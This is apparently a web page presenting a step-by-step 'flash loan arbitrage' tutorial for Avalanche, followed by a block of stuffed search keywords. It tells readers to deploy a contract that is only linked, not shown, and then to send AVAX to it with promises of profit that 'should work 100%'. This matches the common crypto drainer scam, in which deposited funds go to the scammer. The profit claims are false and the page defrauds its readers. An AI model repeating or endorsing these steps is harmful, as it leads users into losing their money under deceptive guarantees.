Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they’ve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
So, what’s the catch?
A flash loan has to be borrowed and repaid within the same blockchain transaction.
Connecting MetaMask to Avalanche Mainnet – https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Flash Loan Explanation – https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
Convert Value (AVAX/USD) – https://coincodex.com/convert/avalanche/usd/
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open http://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file avaxArbitrage.sol and paste the contract code link below.
5. Click on Deploy & Run transactions and set “ENVIRONMENT” to Injected Web3.
6. Connect your MetaMask wallet.
7. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
8. Click on the Solidity Compiler and then click the blue button “Compile avaxArbitrage.sol”
9. Wait for the code to compile.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – avaxArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. On “_TOKENNAME” MyToken
13. On “_TOKENSYMBOL” TOK
14. On “_LOANAMOUNT” 200
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send AVAX to the deployed contract to initiate the swap 2.25 AVAX (3 AVAX up is better as you will get a bigger amount in each swap)
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Note: if it doesn’t work with 2.25 AVAX try to send another 2.50 AVAX (3 AVAX is better), because fees may be different from day to day. (2.25 AVAX for each 200 AVAX you are borrowing)
Avoid using very low amounts as contract may fail below 2.25 AVAX.
Under some very rare cases, the arbitrage might fail due to depletion of AVAX in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your AVAX out to another wallet when you’re done.
flash loan arbitrage, flash loan arbitrage bot, flash loan arbitrage tutorial, flash loan arbitrage code, flash loan arbitrage no code, flash loan arbitrage bsc, flash loan arbitrage tutorial bnb, flash loan arbitrage bot tutorial, flash loan arbitrage live, flash loan arbitrage solidity, flash loan arbitrage furucombo, flash loan arbitrage example, flash loan arbitrage bot github, flash loan arbitrage eth, flash loan bot, flash loan bot github, flash loan arbitrage bot tutorial, flash loan arbitrage bot github, aave flash loan arbitrage bot, flash loans, flash loans crypto, flash loans arbitrage, flash loans aave, flash loans on binance smart chain, flash loans bnb, flash loans dapp university, flash loans pancakeswap, flash loans no coding, flash loans tutorial, flash loans 2021, flash loans ethereum, flash loans bsc, flash loan attacks , bsc flash loan, bsc flash loan arbitrage, bsc flash loan attack, bsc flash loan tagalog, bsc flash loan arbitrage github, bsc flash loan tutorial, bsc flash loan code, bsc flash loan bot, flash loan,flash loan attack,flash loan arbitrage,bnb flash loan,flash loans,flash loan hack,flash loan bnb,flash loan exploit,flash loan trick,bnb,flash loan pancakeswap,aave flash loan,flash loan tutorial,multiplier flash loan,flash loan arbitrage bot,flash loan arbitrage trick,flash loan bsc,flash loan bot,eth flash loan,flash loan code,free bnb,no code flash loan,uniswap flash loan,furocumbo flash loan,flash loan self arbitrage,ethereum flash loan,flash loans,flash loan,aave flash loan,flash loan dapp,what is a flash loan,no code flash loan,ethereum,flash loan guide,flash loan how to,how to flash loan,how to do flash loan,flash loan uniswap,flash loan arbitrage,pancakeswap flash loan,flash loan smart contract,flash loan crypto,flash loan ethereum,free ethereum,flash loan eth,ethereum aidrop,flash loan app,flash loan hack,flash loan defi,flash loan attack,flash loan arbitrage,flash loan,flash loan attack,aave flash loan,flash loan hack,flash loan crypto,furucombo flash loan,flash loans,flash loan eth,flash loan arbitrage bot,flash loan app,arbitrage,defi flash loan,uniswap flash loan,flash loan tutorial,flash loan furucombo,flash loans aave
Leave an answer